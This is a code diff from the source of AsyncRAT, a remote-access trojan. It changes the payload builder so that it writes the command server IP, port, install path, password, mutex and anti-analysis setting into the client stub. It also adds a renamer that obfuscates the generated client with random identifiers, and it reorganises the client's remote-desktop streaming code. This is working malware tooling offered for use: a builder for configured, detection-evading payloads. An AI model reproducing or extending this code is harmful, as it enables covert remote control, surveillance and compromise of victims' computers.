diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj index 9d4ae90..0e14e94 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj +++ b/AsyncRAT-C#/AsyncRAT-Sharp/AsyncRAT-Sharp.csproj @@ -47,11 +47,10 @@ False Resources\cGeoIp.dll - - ..\packages\dnlib.3.2.0\lib\net45\dnlib.dll - True - + + ..\packages\Mono.Cecil.0.10.3\lib\net40\Mono.Cecil.dll + @@ -129,6 +128,7 @@ + diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index b5b804d..4b693ba 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -47,16 +47,13 @@ namespace AsyncRAT_Sharp } if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll"))) - File.WriteAllBytes(Path.Combine(Application.StartupPath, "cGeoIp.dll"), Properties.Resources.cGeoIp); - - if (!File.Exists(Path.Combine(Application.StartupPath, "dnlib.dll"))) - File.WriteAllBytes(Path.Combine(Application.StartupPath, "dnlib.dll"), Properties.Resources.dnlib); + MessageBox.Show("File 'cGeoIp.dll' Not Found!"); if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub"))) Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); if (!File.Exists(Path.Combine(Application.StartupPath, "Stub\\Stub.exe"))) - MessageBox.Show("Stub Not Found"); + MessageBox.Show("Stub Not Found!"); } catch (Exception ex) { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs index 2cd83ff..6502432 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormBuilder.cs @@ -1,10 +1,8 @@ using System; -using System.Linq; using System.Windows.Forms; -using dnlib.DotNet; -using dnlib.DotNet.Emit; -using System.IO; -using System.Threading.Tasks; +using Mono.Cecil; +using AsyncRAT_Sharp.Helper; +using Mono.Cecil.Cil; namespace AsyncRAT_Sharp.Forms { @@ -15,101 +13,48 @@ namespace AsyncRAT_Sharp.Forms InitializeComponent(); } - private async void button1_Click(object sender, EventArgs e) + private void button1_Click(object sender, EventArgs e) { - if (string.IsNullOrWhiteSpace(textIP.Text) || string.IsNullOrWhiteSpace(textPort.Text)) return; + if (checkBox1.Checked) { if (string.IsNullOrWhiteSpace(textFilename.Text) || string.IsNullOrWhiteSpace(comboBoxFolder.Text)) return; if (!textFilename.Text.EndsWith("exe")) textFilename.Text += ".exe"; } + if (string.IsNullOrWhiteSpace(txtMutex.Text)) txtMutex.Text = Guid.NewGuid().ToString().Substring(10); try { - button1.Enabled = false; - var md = ModuleDefMD.Load(Path.Combine(Application.StartupPath, @"Stub\Stub.exe")); - foreach (TypeDef type in md.Types) + using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(@"Stub/Stub.exe")) { - if (type.Name == "Settings") - foreach (MethodDef method in type.Methods) - { - if (method.Body == null) continue; - for (int i = 0; i < method.Body.Instructions.Count(); i++) - { - if (method.Body.Instructions[i].OpCode == OpCodes.Ldstr) - { - if (method.Body.Instructions[i].Operand.ToString() == "127.0.0.1") - method.Body.Instructions[i].Operand = textIP.Text; + WriteSettings(asmDef); - if (method.Body.Instructions[i].Operand.ToString() == "6606") - method.Body.Instructions[i].Operand = textPort.Text; + Renamer r = new Renamer(asmDef); - if (method.Body.Instructions[i].Operand.ToString() == "%AppData%") - method.Body.Instructions[i].Operand = comboBoxFolder.Text; + if (!r.Perform()) + throw new Exception("renaming failed"); - if (method.Body.Instructions[i].Operand.ToString() == "Payload.exe") - method.Body.Instructions[i].Operand = textFilename.Text; - - if (method.Body.Instructions[i].Operand.ToString() == "false") - method.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower(); - - if (method.Body.Instructions[i].Operand.ToString() == "%Anti%") - method.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); - - if (method.Body.Instructions[i].Operand.ToString() == "%MTX%") - method.Body.Instructions[i].Operand = txtMutex.Text; - - if (method.Body.Instructions[i].Operand.ToString() == "NYAN CAT") - method.Body.Instructions[i].Operand = Settings.Password; - } - } - } - } - - SaveFileDialog saveFileDialog1 = new SaveFileDialog(); - saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; - saveFileDialog1.InitialDirectory = Application.StartupPath; - saveFileDialog1.OverwritePrompt = false; - saveFileDialog1.FileName = "Client"; - if (saveFileDialog1.ShowDialog() == DialogResult.OK) - { - bool isok = false; ; - await Task.Run(() => + // PHASE 3 - Saving + using (SaveFileDialog saveFileDialog1 = new SaveFileDialog()) { - try + saveFileDialog1.Filter = ".exe (*.exe)|*.exe"; + saveFileDialog1.InitialDirectory = Application.StartupPath; + saveFileDialog1.OverwritePrompt = false; + saveFileDialog1.FileName = "Client"; + if (saveFileDialog1.ShowDialog() == DialogResult.OK) { - md.Write(saveFileDialog1.FileName); - isok = true; + r.AsmDef.Write(saveFileDialog1.FileName); + MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.Close(); } - catch (Exception ex) - { - MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); - isok = false; - } - }); - if (isok == true) - { - MessageBox.Show("Done!", "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Information); - Properties.Settings.Default.DNS = textIP.Text; - Properties.Settings.Default.Filename = textFilename.Text; - Properties.Settings.Default.Mutex = txtMutex.Text; - Properties.Settings.Default.Save(); - button1.Enabled = true; - this.Close(); } - else - button1.Enabled = true; } - else - button1.Enabled = true; - } catch (Exception ex) { MessageBox.Show(ex.Message, "AsyncRAT | Builder", MessageBoxButtons.OK, MessageBoxIcon.Error); - button1.Enabled = true; } } @@ -144,5 +89,60 @@ namespace AsyncRAT_Sharp.Forms if (Properties.Settings.Default.Mutex.Length > 0) txtMutex.Text = Properties.Settings.Default.Mutex; } + + private void WriteSettings(AssemblyDefinition asmDef) + { + foreach (var typeDef in asmDef.Modules[0].Types) + { + if (typeDef.FullName == "Client.Settings") + { + foreach (var methodDef in typeDef.Methods) + { + if (methodDef.Name == ".cctor") + { + int strings = 1; + + for (int i = 0; i < methodDef.Body.Instructions.Count; i++) + { + if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string + { + switch (strings) + { + case 1: //port + methodDef.Body.Instructions[i].Operand = textPort.Text; + break; + case 2: //ip + methodDef.Body.Instructions[i].Operand = textIP.Text; + break; + case 3: //version + methodDef.Body.Instructions[i].Operand = Settings.Version; + break; + case 4: //install + methodDef.Body.Instructions[i].Operand = checkBox1.Checked.ToString().ToLower(); + break; + case 5: //folder + methodDef.Body.Instructions[i].Operand = comboBoxFolder.Text; + break; + case 6: //filename + methodDef.Body.Instructions[i].Operand = textFilename.Text; + break; + case 7: //password + methodDef.Body.Instructions[i].Operand = Settings.Password; + break; + case 8: //mutex + methodDef.Body.Instructions[i].Operand = txtMutex.Text; + break; + case 9: //anti + methodDef.Body.Instructions[i].Operand = chkAnti.Checked.ToString().ToLower(); + break; + } + strings++; + } + } + } + } + } + } + } } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs index b8a217e..9896812 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandleListView.cs @@ -19,7 +19,12 @@ namespace AsyncRAT_Sharp.Handle_Packet client.LV = new ListViewItem(); client.LV.Tag = client; client.LV.Text = string.Format("{0}:{1}", client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0], client.ClientSocket.LocalEndPoint.ToString().Split(':')[1]); - string[] ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + string[] ipinf; + try + { + ipinf = new cGeoMain().GetIpInf(client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0]).Split(':'); + } + catch { ipinf = new string[] { "?", "?" }; } client.LV.SubItems.Add(ipinf[1]); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("HWID").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Helper/BuildRenamer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/BuildRenamer.cs new file mode 100644 index 0000000..f8ddf71 --- /dev/null +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Helper/BuildRenamer.cs @@ -0,0 +1,241 @@ +using Mono.Cecil; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; + +namespace AsyncRAT_Sharp.Helper +{ + public class Renamer + { + /// + /// Contains the assembly definition. + /// + public AssemblyDefinition AsmDef { get; set; } + + private int Length { get; set; } + private MemberOverloader _typeOverloader; + private Dictionary _methodOverloaders; + private Dictionary _fieldOverloaders; + private Dictionary _eventOverloaders; + + public Renamer(AssemblyDefinition asmDef) + : this(asmDef, 20) + { + } + + public Renamer(AssemblyDefinition asmDef, int length) + { + this.AsmDef = asmDef; + this.Length = length; + _typeOverloader = new MemberOverloader(this.Length); + _methodOverloaders = new Dictionary(); + _fieldOverloaders = new Dictionary(); + _eventOverloaders = new Dictionary(); + } + + /// + /// Attempts to modify the assembly definition data. + /// + /// True if the operation succeeded; False if the operation failed. + public bool Perform() + { + try + { + foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types)) + { + RenameInType(typeDef); + } + return true; + } + catch + { + return false; + } + } + + private void RenameInType(TypeDefinition typeDef) + { + if (!typeDef.Namespace.StartsWith("Client") /* || typeDef.HasInterfaces */) + return; + + _typeOverloader.GiveName(typeDef); + + typeDef.Namespace = string.Empty; + + MemberOverloader methodOverloader = GetMethodOverloader(typeDef); + MemberOverloader fieldOverloader = GetFieldOverloader(typeDef); + MemberOverloader eventOverloader = GetEventOverloader(typeDef); + + if (typeDef.HasNestedTypes) + foreach (TypeDefinition nestedType in typeDef.NestedTypes) + RenameInType(nestedType); + + if (typeDef.HasMethods) + foreach (MethodDefinition methodDef in + typeDef.Methods.Where(methodDef => + !methodDef.IsConstructor && !methodDef.HasCustomAttributes && + !methodDef.IsAbstract && !methodDef.IsVirtual)) + methodOverloader.GiveName(methodDef); + + if (typeDef.HasFields) + foreach (FieldDefinition fieldDef in typeDef.Fields) + fieldOverloader.GiveName(fieldDef); + + if (typeDef.HasEvents) + foreach (EventDefinition eventDef in typeDef.Events) + eventOverloader.GiveName(eventDef); + } + + private MemberOverloader GetMethodOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._methodOverloaders, typeDef); + } + + private MemberOverloader GetFieldOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._fieldOverloaders, typeDef); + } + + private MemberOverloader GetEventOverloader(TypeDefinition typeDef) + { + return GetOverloader(this._eventOverloaders, typeDef); + } + + private MemberOverloader GetOverloader(Dictionary overloaderDictionary, + TypeDefinition targetTypeDef) + { + MemberOverloader overloader; + if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader)) + { + overloader = new MemberOverloader(this.Length); + overloaderDictionary.Add(targetTypeDef, overloader); + } + return overloader; + } + + private class MemberOverloader + { + private bool DoRandom { get; set; } + private int StartingLength { get; set; } + private readonly Dictionary _renamedMembers = new Dictionary(); + private readonly char[] _charMap; + private readonly SafeRandom _random = new SafeRandom(); + private int[] _indices; + + public MemberOverloader(int startingLength, bool doRandom = true) + : this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray()) + { + } + + private MemberOverloader(int startingLength, bool doRandom, char[] chars) + { + this._charMap = chars; + this.DoRandom = doRandom; + this.StartingLength = startingLength; + this._indices = new int[startingLength]; + } + + public void GiveName(MemberReference member) + { + string currentName = GetCurrentName(); + string originalName = member.ToString(); + member.Name = currentName; + while (_renamedMembers.ContainsValue(member.ToString())) + { + member.Name = GetCurrentName(); + } + _renamedMembers.Add(originalName, member.ToString()); + } + + private string GetCurrentName() + { + return DoRandom ? GetRandomName() : GetOverloadedName(); + } + + private string GetRandomName() + { + StringBuilder builder = new StringBuilder(); + + for (int i = 0; i < StartingLength; i++) + { + builder.Append((char)_random.Next(int.MinValue, int.MaxValue)); + } + + return builder.ToString(); + } + + private string GetOverloadedName() + { + IncrementIndices(); + char[] chars = new char[_indices.Length]; + for (int i = 0; i < _indices.Length; i++) + chars[i] = _charMap[_indices[i]]; + return new string(chars); + } + + private void IncrementIndices() + { + for (int i = _indices.Length - 1; i >= 0; i--) + { + _indices[i]++; + if (_indices[i] >= _charMap.Length) + { + if (i == 0) + Array.Resize(ref _indices, _indices.Length + 1); + _indices[i] = 0; + } + else + break; + } + } + } + } + + public class SafeRandom + { + private static readonly RandomNumberGenerator GlobalCryptoProvider = RandomNumberGenerator.Create(); + + [ThreadStatic] + private static Random _random; + + private static Random GetRandom() + { + if (_random == null) + { + byte[] buffer = new byte[4]; + GlobalCryptoProvider.GetBytes(buffer); + _random = new Random(BitConverter.ToInt32(buffer, 0)); + } + + return _random; + } + + public int Next() + { + return GetRandom().Next(); + } + + public int Next(int maxValue) + { + return GetRandom().Next(maxValue); + } + + public int Next(int minValue, int maxValue) + { + return GetRandom().Next(minValue, maxValue); + } + + public void NextBytes(byte[] buffer) + { + GetRandom().NextBytes(buffer); + } + + public double NextDouble() + { + return GetRandom().NextDouble(); + } + } +} diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index b81c6b9..59b9583 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -81,12 +81,12 @@ namespace AsyncRAT_Sharp.Properties { } /// - /// Looks up a localized string similar to <?xml version="1.0" encoding="utf-8" ?> + /// Looks up a localized string similar to <?xml version="1.0" encoding="utf-8"?> ///<configuration> /// <configSections> - /// <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" > - /// <section name="AsyncRAT_Sharp.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false" /> - /// [rest of string was truncated]";. + /// <sectionGroup name="userSettings" type="System.Configuration.UserSettingsGroup, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"> + /// <section name="AsyncRAT_Sharp.Properties.Settings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" allowExeDefinition="MachineToLocalUser" requirePermission="false"/> + /// </s [rest of string was truncated]";. /// internal static string AsyncRAT_Sharp_exe { get { @@ -114,16 +114,6 @@ namespace AsyncRAT_Sharp.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] cGeoIp { - get { - object obj = ResourceManager.GetObject("cGeoIp", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// @@ -144,16 +134,6 @@ namespace AsyncRAT_Sharp.Properties { } } - /// - /// Looks up a localized resource of type System.Byte[]. - /// - internal static byte[] dnlib { - get { - object obj = ResourceManager.GetObject("dnlib", resourceCulture); - return ((byte[])(obj)); - } - } - /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index 4023ed0..0f96179 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -133,9 +133,6 @@ ..\Resources\play-button.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\cGeoIp.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\botkiller.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a @@ -154,9 +151,6 @@ ..\Resources\arrow_down.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a - - ..\Resources\dnlib.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - ..\Resources\process.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/dnlib.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/dnlib.dll deleted file mode 100644 index 4d3e80c..0000000 Binary files a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/dnlib.dll and /dev/null differ diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config b/AsyncRAT-C#/AsyncRAT-Sharp/packages.config index 8b276e3..d976469 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/packages.config +++ b/AsyncRAT-C#/AsyncRAT-Sharp/packages.config @@ -1,4 +1,4 @@  - + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index 9d60099..08bc3cb 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -1,7 +1,5 @@ using Client.MessagePack; using Client.Sockets; -using StreamLibrary; -using StreamLibrary.UnsafeCodecs; using System.Drawing; using System.Drawing.Imaging; using System.IO; @@ -10,6 +8,8 @@ using System.Windows.Forms; using System.Net.Sockets; using Client.Helper; using System; +using Client.StreamLibrary.UnsafeCodecs; +using Client.StreamLibrary; namespace Client.Handle_Packet { diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 9065a41..23d1835 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -12,12 +12,12 @@ namespace Client public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static readonly string Password = "NYAN CAT"; - public static readonly Aes256 aes256 = new Aes256(Password); public static readonly string MTX = "%MTX%"; #if DEBUG public static readonly string Anti = "false"; #else public static readonly string Anti = "%Anti%"; #endif + public static readonly Aes256 aes256 = new Aes256(Password); } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs index bc97633..83e58e3 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/Enums.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/Enums.cs @@ -1,8 +1,4 @@ -using System; -using System.Collections.Generic; -using System.Text; - -namespace StreamLibrary +namespace Client.StreamLibrary { public enum CodecOption { diff --git a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs index 83e703c..bd8775e 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/IUnsafeCodec.cs @@ -1,12 +1,10 @@ -using StreamLibrary.src; +using Client.StreamLibrary.src; using System; -using System.Collections.Generic; using System.Drawing; using System.Drawing.Imaging; using System.IO; -using System.Text; -namespace StreamLibrary +namespace Client.StreamLibrary { public abstract class IUnsafeCodec { diff --git a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs index 3430223..79fc22f 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/IVideoCodec.cs @@ -1,11 +1,11 @@ -using StreamLibrary.src; +using Client.StreamLibrary.src; using System; using System.Collections.Generic; using System.Drawing; using System.IO; using System.Text; -namespace StreamLibrary +namespace Client.StreamLibrary { public abstract class IVideoCodec { diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs index 966b812..39e4b79 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs @@ -1,4 +1,4 @@ -using StreamLibrary.src; +using Client.StreamLibrary.src; using System; using System.Collections.Generic; using System.Drawing; @@ -6,7 +6,7 @@ using System.Drawing.Imaging; using System.IO; using System.Text; -namespace StreamLibrary.UnsafeCodecs +namespace Client.StreamLibrary.UnsafeCodecs { public class UnsafeStreamCodec : IUnsafeCodec { diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs index a5f842d..0f911b5 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/src/JpgCompression.cs @@ -1,11 +1,8 @@ -using System; -using System.Collections.Generic; -using System.Drawing; +using System.Drawing; using System.Drawing.Imaging; using System.IO; -using System.Text; -namespace StreamLibrary.src +namespace Client.StreamLibrary.src { public class JpgCompression { diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs index d9cfeef..2654908 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs @@ -1,11 +1,8 @@ -using System; -using System.Collections.Generic; -using System.Drawing; +using System.Drawing; using System.Drawing.Imaging; using System.IO; -using System.Text; -namespace StreamLibrary.src +namespace Client.StreamLibrary.src { public class LzwCompression { diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs index 38df525..f8dbe91 100644 --- a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs +++ b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs @@ -1,9 +1,7 @@ using System; -using System.Collections.Generic; using System.Runtime.InteropServices; -using System.Text; -namespace StreamLibrary.src +namespace Client.StreamLibrary.src { public class NativeMethods {